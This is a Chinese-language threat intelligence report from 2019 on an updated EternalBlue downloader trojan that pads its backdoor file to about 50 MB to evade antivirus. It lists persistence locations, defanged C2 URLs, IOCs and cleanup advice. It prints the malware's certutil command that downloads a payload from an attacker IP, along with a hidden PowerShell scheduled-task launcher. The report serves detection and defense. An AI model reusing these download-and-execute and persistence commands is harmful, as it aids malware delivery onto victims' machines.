永恒之蓝下载器木马再更新:增肥木马逃避查杀

2019-03-14 17:57:22
腾讯御见威胁情报中心3月13日监测到永恒之蓝下载器木马再次出现异动情况,本次木马更新攻击模块ii.dat的下载地址并修改了部分代码(未改动之前使用的攻击方式),同时下载后门程序mn.dat,将其填充大量垃圾数据生成超大文件进行躲避查杀

背景

腾讯御见威胁情报中心313日监测到永恒之蓝下载器木马再次出现异动情况,本次木马更新攻击模块ii.dat的下载地址并修改了部分代码(未改动之前使用的攻击方式),同时下载后门程序mn.dat,将其填充大量垃圾数据生成超大文件进行躲避查杀,同时将生成的大文件木马拷贝到多个系统目录并通过注册表启动项、开始菜单启动项、计划任务进自启动。

更新攻击模块下载地址

域名:v.y6h.net

IP: 139.162.73.241

URL:hxxp:// v.y6h.net/ii.dat

Md5: 21e49843502325b063b4d52e8c297f79

感染机器上的Powershell计划任务下载攻击模块ii.dat,保存为C:\Windows\Temp\sartpg.exe执行。将核心代码解压后与38日更新文件对比,发现有一处恶意代码下载地址hxxp://info.haqo.net/e.png?id=被更换为hxxp://info.ackng.com/e.png?id=

新增大文件后门

感染机器上的计划任务后通过以下命令下载新的后门程序mn.dat:

certutil  -urlcache -split -f hxxp://153.92.4.49/mn.dat C:/Windows/system32/config/systemprofile/AppData/Roaming/abc.exe

文件签名:“Shenzhen Qitu Software Technolgy Co., Ltd.


文件执行后拷贝自身到多个系统目录,生成随机名文件,在文件尾部写入大量无用信息,增肥文件大小以躲避杀软查杀。

C:/Windows/Xubfl2Ps.exe

C:/Users/admin/AppData/Roaming/NHaWAm04.exe

C:/Users/admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/aEQ9s3k9.exe

例如复制的其中一个文件大小为0x1FC00+0x1600=0x21200


实际在超过文件结尾地址外,被写入了大量垃圾数据


导致最终生成的文件大小在50M左右


木马负责上传信息到hxxp://pp.abbny.com/t.php?ID=

并获取返回的代码执行


将复制的随机名木马文件添加到菜单启动项随开机机启动


木马还会添加随机名计划任务:

启动程序:cmd.exe /c C:\Windows\随机名.exe

安全建议

1.服务器暂时关闭不必要的端口(如135139445),方法可参考:https://guanjia.qq.com/web_clinic/s8/585.html

2.服务器使用高强度密码,切勿使用弱口令,防止黑客暴力破解;

3.使用杀毒软件拦截可能的病毒攻击;


4.推荐企业用户部署腾讯御界高级威胁检测系统防御可能的黑客攻击。御界高级威胁检测系统,是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。


5. 中毒电脑除可使用腾讯电脑管家、腾讯御点终端防御系统查杀病毒,也可参考以下提示手动清理:

删除文件

C:\Windows\Temp\sartpg.exe

%appdata%\Microsoft\cred.ps1

C:/Windows/随机名.exe

C:/Users/admin/AppData/Roaming/随机名.exe

C:/Users/admin/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/随机名.exe

删除以下计划任务:

1)计划任务名:Credentials

启动程序:powershell -nop -w hidden -ep bypass -f %appdata%\Microsoft\cred.ps1

2)计划任务名:随机名

启动程序:cmd.exe /c C:\Windows\随机名.exe

删除菜单启动目录文件:

随机名.exe

IOCs

Md5:

21e49843502325b063b4d52e8c297f79

66ea09330bee7239fcb11a911f8e8ea3

55f7cc72b8eeb5813b16c23955fed4c4

3e96a29e82513c5859d5e508a75fa974


IP

139.162.73.241

153.92.4.49

27.102.128.144



Domain

info.ackng.com

ii.ackng.com

v.y6h.net


URL

hxxp://info.ackng.com/e.png?id=

hxxp://ii.ackng.com/t.php?id=

hxxp://pp.abbny.com/t.php?ID=

hxxp://pp.abbny.com/u.png?ID=

hxxp://pp.abbny.com/r.bat?ID=

hxxp://v.y6h.net/ii.dat

hxxp://153.92.4.49/mn.dat

http://27.102.128.144/aio.dat

最新资讯